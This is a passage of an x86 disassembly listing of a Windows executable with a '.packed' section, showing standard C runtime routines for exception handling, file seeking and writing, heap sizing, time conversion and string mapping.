or [ebp+var_4], 0FFFFFFFFh
call sub_422A52
mov eax, [ebp+var_2C]
loc_422A19: ; CODE XREF: sub_422A32+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42298C endp
; =============== S U B R O U T I N E =======================================
sub_422A28 proc near ; DATA XREF: .packed:004288F0o
push dword ptr [ebp-14h]
call sub_422A98
pop ecx
retn
sub_422A28 endp
; =============== S U B R O U T I N E =======================================
sub_422A32 proc near ; DATA XREF: .packed:004288F4o
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41D386
pop ecx
pop ecx
xor eax, eax
jmp short loc_422A19
sub_422A32 endp
; ---------------------------------------------------------------------------
loc_422A4A: ; DATA XREF: .packed:004288E8o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_422A52 proc near ; CODE XREF: sub_42298C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4DE0D4, eax
mov eax, [ebp-20h]
mov dword_4DE0D8, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_422A97
cmp dword ptr [edi+10h], 3
jnz short locret_422A97
cmp dword ptr [edi+14h], 19930520h
jnz short locret_422A97
cmp [ebp-24h], ebx
jnz short locret_422A97
cmp [ebp-2Ch], ebx
jz short locret_422A97
call sub_41D3EE
push eax
push edi
call sub_422C86
pop ecx
pop ecx
locret_422A97: ; CODE XREF: sub_422A52+1Cj
; sub_422A52+22j ...
retn
sub_422A52 endp
; =============== S U B R O U T I N E =======================================
sub_422A98 proc near ; CODE XREF: sub_422A28+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_422ABF
cmp dword ptr [eax+10h], 3
jnz short loc_422ABF
cmp dword ptr [eax+14h], 19930520h
jnz short loc_422ABF
cmp dword ptr [eax+1Ch], 0
jnz short loc_422ABF
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422ABF: ; CODE XREF: sub_422A98+Cj
; sub_422A98+12j ...
xor eax, eax
retn
sub_422A98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422AC2 proc near ; CODE XREF: sub_422911+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4288F8
push offset sub_423D9C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_422C6B
cmp byte ptr [eax+8], 0
jz loc_422C6B
mov eax, [ecx+8]
test eax, eax
jz loc_422C6B
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_422B5F
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424FA0
pop ecx
pop ecx
test eax, eax
jz loc_422C62
push 1
push edi
call sub_424FBC
pop ecx
pop ecx
test eax, eax
jz loc_422C62
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422B50: ; CODE XREF: sub_422AC2+F5j
push eax
call sub_422CED
pop ecx
pop ecx
mov [edi], eax
jmp loc_422C67
; ---------------------------------------------------------------------------
loc_422B5F: ; CODE XREF: sub_422AC2+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_422BB9
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_424FA0
pop ecx
pop ecx
test eax, eax
jz loc_422C62
push 1
push edi
call sub_424FBC
pop ecx
pop ecx
test eax, eax
jz loc_422C62
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41D460
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422C67
mov eax, [edi]
test eax, eax
jz loc_422C67
add esi, 8
push esi
jmp short loc_422B50
; ---------------------------------------------------------------------------
loc_422BB9: ; CODE XREF: sub_422AC2+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422C01
call sub_424FA0
pop ecx
pop ecx
test eax, eax
jz loc_422C62
push 1
push edi
call sub_424FBC
pop ecx
pop ecx
test eax, eax
jz short loc_422C62
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_422CED
pop ecx
pop ecx
push eax
push edi
call sub_41D460
add esp, 0Ch
jmp short loc_422C67
; ---------------------------------------------------------------------------
loc_422C01: ; CODE XREF: sub_422AC2+103j
call sub_424FA0
pop ecx
pop ecx
test eax, eax
jz short loc_422C62
push 1
push edi
call sub_424FBC
pop ecx
pop ecx
test eax, eax
jz short loc_422C62
push dword ptr [esi+18h]
call sub_424FD8
pop ecx
test eax, eax
jz short loc_422C62
test byte ptr [esi], 4
jz short loc_422C48
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422CED
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D099
jmp short loc_422C67
; ---------------------------------------------------------------------------
loc_422C48: ; CODE XREF: sub_422AC2+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422CED
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D092
jmp short loc_422C67
; ---------------------------------------------------------------------------
loc_422C62: ; CODE XREF: sub_422AC2+6Aj
; sub_422AC2+7Cj ...
call sub_422DB2
loc_422C67: ; CODE XREF: sub_422AC2+98j
; sub_422AC2+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_422C6B: ; CODE XREF: sub_422AC2+2Ej
; sub_422AC2+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422AC2 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422D5C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422C86 proc near ; CODE XREF: sub_4225B1+170p
; sub_422A52+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428908
push offset sub_423D9C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_422CCD
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_422CCD
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41D092
or [ebp+var_4], 0FFFFFFFFh
loc_422CCD: ; CODE XREF: sub_422C86+2Aj
; sub_422C86+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422C86 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422D5C
; =============== S U B R O U T I N E =======================================
sub_422CED proc near ; CODE XREF: sub_422AC2+8Fp
; sub_422AC2+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_422D0E
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_422D0E: ; CODE XREF: sub_422CED+12j
pop esi
retn
sub_422CED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D10 proc near ; CODE XREF: sub_41D125+40p
; sub_42285D+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41D411
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_422D4F
mov ecx, 2
loc_422D4F: ; CODE XREF: sub_422D10+38j
push ecx
call sub_41D411
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422D10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D5C proc near ; CODE XREF: sub_4225B1:loc_422753j
; sub_4228FB:loc_42290Cj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00424FF0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428918
push offset sub_423D9C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4DE0E0
test eax, eax
jz short loc_422DA4
mov [ebp+var_4], 1
call eax
jmp short loc_422DA0
; ---------------------------------------------------------------------------
loc_422D99: ; DATA XREF: .packed:00428928o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422D9D: ; DATA XREF: .packed:0042892Co
mov esp, [ebp+var_18]
loc_422DA0: ; CODE XREF: sub_422D5C+3Bj
and [ebp+var_4], 0
loc_422DA4: ; CODE XREF: sub_422D5C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422DAD: ; DATA XREF: .packed:00428920o
jmp loc_424FF0
sub_422D5C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DB2 proc near ; CODE XREF: sub_41D2C7+23p
; sub_41D2C7:loc_41D332p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428930
push offset sub_423D9C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43F5B4
test eax, eax
jz short loc_422DFA
mov [ebp+var_4], 1
call eax ; sub_422D5C
jmp short loc_422DF6
; ---------------------------------------------------------------------------
loc_422DEF: ; DATA XREF: .packed:00428940o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422DF3: ; DATA XREF: .packed:00428944o
mov esp, [ebp+var_18]
loc_422DF6: ; CODE XREF: sub_422DB2+3Bj
and [ebp+var_4], 0
loc_422DFA: ; CODE XREF: sub_422DB2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422E03: ; DATA XREF: .packed:00428938o
jmp sub_422D5C
sub_422DB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422E08 proc near ; CODE XREF: sub_41D7A3+7p
; sub_41D7A3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DF6C8
push esi
cmp eax, 3
jnz short loc_422E31
mov esi, [ebp+arg_0]
push esi
call sub_41E677
test eax, eax
pop ecx
jz short loc_422E2E
mov eax, [esi-4]
sub eax, 9
jmp short loc_422E66
; ---------------------------------------------------------------------------
loc_422E2E: ; CODE XREF: sub_422E08+1Cj
push esi
jmp short loc_422E58
; ---------------------------------------------------------------------------
loc_422E31: ; CODE XREF: sub_422E08+Ej
cmp eax, 2
jnz short loc_422E55
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41F3D2
add esp, 0Ch
test eax, eax
jz short loc_422E55
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422E66
; ---------------------------------------------------------------------------
loc_422E55: ; CODE XREF: sub_422E08+2Cj
; sub_422E08+43j
push [ebp+arg_0]
loc_422E58: ; CODE XREF: sub_422E08+27j
push 0
push dword_4DF6C4
call dword_428058 ; RtlSizeHeap
loc_422E66: ; CODE XREF: sub_422E08+24j
; sub_422E08+4Bj
pop esi
leave
retn
sub_422E08 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422E69 proc near ; CODE XREF: sub_41D851+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_422F25
cmp ebx, 8Ah
jg loc_422F25
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_43FA7C[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_422EA8
cmp edi, 2
jle short loc_422EA8
inc esi
loc_422EA8: ; CODE XREF: sub_422E69+37j
; sub_422E69+3Cj
call sub_425007
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_43F998
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_422F1B
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_422F21
cmp dword_43F99C, 0
jz short loc_422F21
lea eax, [ebp+var_24]
push eax
call sub_42527A
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_422F21
loc_422F1B: ; CODE XREF: sub_422E69+90j
add ecx, dword_43F9A0
loc_422F21: ; CODE XREF: sub_422E69+96j
; sub_422E69+9Fj ...
mov eax, ecx
jmp short loc_422F28
; ---------------------------------------------------------------------------
loc_422F25: ; CODE XREF: sub_422E69+13j
; sub_422E69+1Fj
or eax, 0FFFFFFFFh
loc_422F28: ; CODE XREF: sub_422E69+BAj
pop ebx
leave
retn
sub_422E69 endp
; =============== S U B R O U T I N E =======================================
sub_422F2B proc near ; DATA XREF: .packed:0042A02Co
mov eax, dword_4DF480
push esi
push 14h
test eax, eax
pop esi
jnz short loc_422F3F
mov eax, 200h
jmp short loc_422F45
; ---------------------------------------------------------------------------
loc_422F3F: ; CODE XREF: sub_422F2B+Bj
cmp eax, esi
jge short loc_422F4A
mov eax, esi
loc_422F45: ; CODE XREF: sub_422F2B+12j
mov dword_4DF480, eax
loc_422F4A: ; CODE XREF: sub_422F2B+16j
push 4
push eax
call sub_425566
pop ecx
mov dword_4DE464, eax
test eax, eax
pop ecx
jnz short loc_422F7E
push 4
push esi
mov dword_4DF480, esi
call sub_425566
pop ecx
mov dword_4DE464, eax
test eax, eax
pop ecx
jnz short loc_422F7E
push 1Ah
call sub_41E229
pop ecx
loc_422F7E: ; CODE XREF: sub_422F2B+30j
; sub_422F2B+49j
xor ecx, ecx
mov eax, offset off_43F5B8
loc_422F85: ; CODE XREF: sub_422F2B+6Ej
mov edx, dword_4DE464
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43F838
jl short loc_422F85
xor edx, edx
mov ecx, offset dword_43F5C8
loc_422FA2: ; CODE XREF: sub_422F2B+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DE360[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_422FBF
test eax, eax
jnz short loc_422FC2
loc_422FBF: ; CODE XREF: sub_422F2B+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_422FC2: ; CODE XREF: sub_422F2B+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43F628
jl short loc_422FA2
pop esi
retn
sub_422F2B endp
; =============== S U B R O U T I N E =======================================
sub_422FD0 proc near ; DATA XREF: .packed:0042A03Co
; FUNCTION CHUNK AT 00425617 SIZE 00000058 BYTES
call sub_41E3E7
cmp byte_4DE06C, 0
jz short locret_422FE3
jmp loc_425617
; ---------------------------------------------------------------------------
locret_422FE3: ; CODE XREF: sub_422FD0+Cj
retn
sub_422FD0 endp
; =============== S U B R O U T I N E =======================================
sub_422FE4 proc near ; CODE XREF: sub_41D9ED+67p
; sub_41F91C+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DE460
push esi
push edi
jnb short loc_423066
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DE360h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_423066
push eax
call sub_424186
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_423028
mov dword_4DE02C, 9
jmp short loc_423077
; ---------------------------------------------------------------------------
loc_423028: ; CODE XREF: sub_422FE4+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call dword_428120 ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_423048
call dword_42808C ; RtlGetLastWin32Error
jmp short loc_42304A
; ---------------------------------------------------------------------------
loc_423048: ; CODE XREF: sub_422FE4+5Aj
xor eax, eax
loc_42304A: ; CODE XREF: sub_422FE4+62j
test eax, eax
jz short loc_423057
push eax
call sub_420BDF
pop ecx
jmp short loc_423077
; ---------------------------------------------------------------------------
loc_423057: ; CODE XREF: sub_422FE4+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_42307A
; ---------------------------------------------------------------------------
loc_423066: ; CODE XREF: sub_422FE4+Dj
; sub_422FE4+2Aj
and dword_4DE030, 0
mov dword_4DE02C, 9
loc_423077: ; CODE XREF: sub_422FE4+42j
; sub_422FE4+71j
or eax, 0FFFFFFFFh
loc_42307A: ; CODE XREF: sub_422FE4+80j
pop edi
pop esi
pop ebx
retn
sub_422FE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42307E proc near ; CODE XREF: sub_41D9ED+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_42309A
mov [edi+4], ebx
loc_42309A: ; CODE XREF: sub_42307E+17j
push 1
push ebx
push esi
call sub_422FE4
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_423108
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_4230BF
sub eax, [edi+4]
jmp loc_4231D1
; ---------------------------------------------------------------------------
loc_4230BF: ; CODE XREF: sub_42307E+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_4230F9
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DE360[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_423110
mov edx, ecx
loc_4230EA: ; CODE XREF: sub_42307E+79j
cmp edx, eax
jnb short loc_423110
cmp byte ptr [edx], 0Ah
jnz short loc_4230F6
inc [ebp+var_8]
loc_4230F6: ; CODE XREF: sub_42307E+73j
inc edx
jmp short loc_4230EA
; ---------------------------------------------------------------------------
loc_4230F9: ; CODE XREF: sub_42307E+50j
test dl, 80h
jnz short loc_423110
mov dword_4DE02C, 16h
loc_423108: ; CODE XREF: sub_42307E+2Dj
or eax, 0FFFFFFFFh
jmp loc_4231D1
; ---------------------------------------------------------------------------
loc_423110: ; CODE XREF: sub_42307E+68j
; sub_42307E+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_42311E
mov eax, [ebp+var_8]
jmp loc_4231D1
; ---------------------------------------------------------------------------
loc_42311E: ; CODE XREF: sub_42307E+96j
test byte ptr [edi+0Ch], 1
jz loc_4231C9
mov edx, [edi+4]
test edx, edx
jnz short loc_423137
and [ebp+var_8], edx
jmp loc_4231C9
; ---------------------------------------------------------------------------
loc_423137: ; CODE XREF: sub_42307E+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DE360h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_4231C3
push 2
push 0
push [ebp+var_C]
call sub_422FE4
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_42318A
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_423175: ; CODE XREF: sub_42307E+104j
cmp eax, ecx
jnb short loc_423184
cmp byte ptr [eax], 0Ah
jnz short loc_423181
inc [ebp+arg_0]
loc_423181: ; CODE XREF: sub_42307E+FEj
inc eax
jmp short loc_423175
; ---------------------------------------------------------------------------
loc_423184: ; CODE XREF: sub_42307E+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_4231BE
; ---------------------------------------------------------------------------
loc_42318A: ; CODE XREF: sub_42307E+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_422FE4
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_4231B1
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_4231B1
test ch, 4
jz short loc_4231B4
loc_4231B1: ; CODE XREF: sub_42307E+124j
; sub_42307E+12Cj
mov eax, [edi+18h]
loc_4231B4: ; CODE XREF: sub_42307E+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_4231BE: ; CODE XREF: sub_42307E+10Aj
jz short loc_4231C3
inc [ebp+arg_0]
loc_4231C3: ; CODE XREF: sub_42307E+D9j
; sub_42307E:loc_4231BEj
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_4231C9: ; CODE XREF: sub_42307E+A4j
; sub_42307E+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_4231D1: ; CODE XREF: sub_42307E+3Cj
; sub_42307E+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_42307E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4231D6 proc near ; CODE XREF: sub_41DAB4+A2p
; sub_41E38B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DE460
push esi
push edi
jnb loc_42336A
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DE360h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_42336A
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_423227
loc_423220: ; CODE XREF: sub_4231D6+177j
xor eax, eax
jmp loc_42337E
; ---------------------------------------------------------------------------
loc_423227: ; CODE XREF: sub_4231D6+48j
test al, 20h
jz short loc_423237
push 2
push edi
push ecx
call sub_422FE4
add esp, 0Ch
loc_423237: ; CODE XREF: sub_4231D6+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_423306
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_42333E
loc_423257: ; CODE XREF: sub_4231D6+F5j
lea eax, [ebp+var_414]
loc_42325D: ; CODE XREF: sub_4231D6+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_423291
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_42327C
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_42327C: ; CODE XREF: sub_4231D6+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_42325D
loc_423291: ; CODE XREF: sub_4231D6+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_4280E0 ; WriteFile
test eax, eax
jz short loc_4232FB
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_4232CD
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_423257
loc_4232CD: ; CODE XREF: sub_4231D6+EAj
; sub_4231D6+12Ej
xor edi, edi
loc_4232CF: ; CODE XREF: sub_4231D6+150j
; sub_4231D6+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_423365
cmp [ebp+arg_0], edi
jz short loc_42333E
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_423333
mov dword_4DE02C, 9
mov dword_4DE030, eax
jmp loc_42337B
; ---------------------------------------------------------------------------
loc_4232FB: ; CODE XREF: sub_4231D6+E0j
call dword_42808C ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_4232CD
; ---------------------------------------------------------------------------
loc_423306: ; CODE XREF: sub_4231D6+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call dword_4280E0 ; WriteFile
test eax, eax
jz short loc_423328
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_4232CF
; ---------------------------------------------------------------------------
loc_423328: ; CODE XREF: sub_4231D6+145j
call dword_42808C ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_4232CF
; ---------------------------------------------------------------------------
loc_423333: ; CODE XREF: sub_4231D6+10Fj
push [ebp+arg_0]
call sub_420BDF
pop ecx
jmp short loc_42337B
; ---------------------------------------------------------------------------
loc_42333E: ; CODE XREF: sub_4231D6+7Bj
; sub_4231D6+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_423353
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_423220
loc_423353: ; CODE XREF: sub_4231D6+16Fj
mov dword_4DE02C, 1Ch
mov dword_4DE030, edi
jmp short loc_42337B
; ---------------------------------------------------------------------------
loc_423365: ; CODE XREF: sub_4231D6+FEj
sub eax, [ebp+var_10]
jmp short loc_42337E
; ---------------------------------------------------------------------------
loc_42336A: ; CODE XREF: sub_4231D6+15j
; sub_4231D6+37j
and dword_4DE030, 0
mov dword_4DE02C, 9
loc_42337B: ; CODE XREF: sub_4231D6+120j
; sub_4231D6+166j ...
or eax, 0FFFFFFFFh
loc_42337E: ; CODE XREF: sub_4231D6+4Cj
; sub_4231D6+192j
pop edi
pop esi
pop ebx
leave
retn
sub_4231D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423383 proc near ; CODE XREF: sub_41DDAA+47p
; sub_41DDAA+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428950
push offset sub_423D9C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4DE108, edi
jnz short loc_4233F9
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_428948
mov esi, 100h
push esi
push edi
call dword_428050 ; LCMapStringW
test eax, eax
jz short loc_4233D7
mov dword_4DE108, ebx
jmp short loc_4233F9
; ---------------------------------------------------------------------------
loc_4233D7: ; CODE XREF: sub_423383+4Aj
push edi
push edi
push ebx
push offset word_4CDB1C
push esi
push edi
call dword_428054 ; LCMapStringA
test eax, eax
jz loc_423511
mov dword_4DE108, 2
loc_4233F9: ; CODE XREF: sub_423383+2Ej
; sub_423383+52j
cmp [ebp+arg_C], edi
jle short loc_42340E
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4235A7
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_42340E: ; CODE XREF: sub_423383+79j
mov eax, dword_4DE108
cmp eax, 2
jnz short loc_423435
